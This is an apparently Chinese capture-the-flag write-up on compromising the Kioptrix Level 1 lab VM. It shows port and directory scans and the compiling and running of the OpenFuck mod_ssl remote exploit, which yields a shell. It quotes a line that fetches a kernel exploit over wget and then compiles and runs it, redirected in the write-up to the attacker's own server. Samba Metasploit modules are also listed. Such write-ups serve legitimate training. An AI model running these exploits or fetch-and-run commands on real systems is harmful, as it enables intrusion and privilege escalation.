Kioptrix Level 1
Kioptrix这个系列靶机默认是桥接模式，如果我们kali使用NAT是扫描不到靶机的，通过VM的靶机网络设置也不能更改成功。
解决方式：每次下载好靶机先不导入VM，如果已经导入，需要“移除”靶机；然后通过修改靶机目录中的vm配置文件，删除所有ethernet0为首的行，之后，导入VM中，重新添加网络适配器并选择NAT模式，这样kali就能扫描到靶机了
kali IP：192.168.1.128
靶机IP：192.168.1.130
sudo nmap --min-rate 10000 -p- 192.168.1.130
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-17 10:27 CST
Nmap scan report for 192.168.1.130
Host is up (0.0023s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm
sudo nmap -sT -sV -O -p22,80,111,139,443,1024 192.168.1.130
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-17 10:40 CST
Nmap scan report for 192.168.1.130
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: yMYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
mod_ssl,OpenSSL,rpcbind,Samba 都可以进行尝试
搜索了一下rpcbind只有拒绝服务。
sudo nmap -sU -p22,80,111,139,443,1024 192.168.1.130
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-17 10:42 CST
Nmap scan report for 192.168.1.130
Host is up (0.00025s latency).
PORT STATE SERVICE
22/udp closed ssh
80/udp closed http
111/udp open rpcbind
139/udp closed netbios-ssn
443/udp closed https
1024/udp closed unknown
UDP扫描一下有没有遗漏的服务
访问80端口和443端口，发现网络架构相同，和nmap扫描出的服务相同。
扫描目录：
sudo dirb http://192.168.1.130
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Aug 18 10:18:03 2023
URL_BASE: http://192.168.1.130/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.130/ ----
+ http://192.168.1.130/~operator (CODE:403|SIZE:273)
+ http://192.168.1.130/~root (CODE:403|SIZE:269)
+ http://192.168.1.130/cgi-bin/ (CODE:403|SIZE:272)
+ http://192.168.1.130/index.html (CODE:200|SIZE:2890)
==> DIRECTORY: http://192.168.1.130/manual/
==> DIRECTORY: http://192.168.1.130/mrtg/
==> DIRECTORY: http://192.168.1.130/usage/
---- Entering directory: http://192.168.1.130/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.130/mrtg/ ----
+ http://192.168.1.130/mrtg/index.html (CODE:200|SIZE:17318)
---- Entering directory: http://192.168.1.130/usage/ ----
+ http://192.168.1.130/usage/index.html (CODE:200|SIZE:4261)
radhat的默认首页和配置文档 没有利用点
看了一下apache 1.3.20有什么漏洞可以利用
searchsploit apache 1.3.20
mod_ssl=2.8.4<2.8.7,尝试使用
searchsploit -m 47080.c
Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
URL: https://www.exploit-db.com/exploits/47080
Path: /usr/share/exploitdb/exploits/unix/remote/47080.c
File Type: C source, ASCII text
gcc -o exploit 47080.c -lcrypto
47080.c:21:10: fatal error: openssl/ssl.h: 没有那个文件或目录
21 | #include <openssl/ssl.h>
| ^~~~~~~~~~~~~~~
compilation terminated.
下载依赖库之后重新编译
exploit中符合要求有0x6a，0x6b
sudo ./exploit 0x6a 192.168.1.130 -c 50
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
Good Bye!
sudo ./exploit 0x6b 192.168.1.130 -c 50
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--23:19:52-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443...
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$
检查权限
uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
whoami;id
apache
uid=48(apache) gid=48(apache) groups=48(apache)
百度说是这个.c文件获取外网文件被墙 导致获取的不是root权限
Samba尝试 尝试了下 只有最有一个对139端口进行攻击 其他的利用模块都是针对mamba的服务端口443进行攻击的
use exploit/linux/samba/
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow
1 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
2 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
3 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
4 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
一般来说 系统赋予smb服务为root权限
samba/setinfopolicy_heap 信息策略审计时间堆溢出
Samba chain_reply内存损坏漏洞：该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存，可通过传递超过目标缓冲区大小的值实现。
samba/is_known_pipename CVE-2017-7494，Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。Samba 允许连接一个远程的命名管道，并且在连接前会调用 is_known_pipename() 函数验证管道名称是否合法。在 is_known_pipename() 函数中，pipename并没有检查管道名称中的部分特殊字符，加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件，执行任意代码。
Samba lsa_io_trans_names Heap Overflow 堆溢出
Samba trans2open溢出：这是Samba2.2.0版本到2.2.8版本中普遍存在的一个缓冲区溢出漏洞，其工作原理是利用没有noexec栈选项的x86 Linux机器中的漏洞。
配置好后run借助samba直接能拿到root权限
继续之前的mod_ssl进行，根据网上的思路 可以在128访问外网下载 exploit中130需访问的外网文件，通过更改exploit中，使130访问128临时开启的80端口下载文件，执行expoit获取root权限。
nl 47080.c|grep ptrace
8 * Note: if required, host ptrace and replace wget target
308 #define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
--2023-08-18 09:29:59-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
正在解析主机 dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
正在连接 dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：3921 (3.8K) [text/x-csrc]
正在保存至: “ptrace-kmod.c”
ptrace-kmod.c 100%[================================================================>] 3.83K --.-KB/s 用时 0s
2023-08-18 09:30:01 (131 MB/s) - 已保存 “ptrace-kmod.c” [3921/3921])
编写 47080.c ，然后重新编译，临时开启128的80服务，同时执行exploit
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.130 - - [18/Aug/2023 09:37:16] "GET /ptrace-kmod.c HTTP/1.0" 200 -
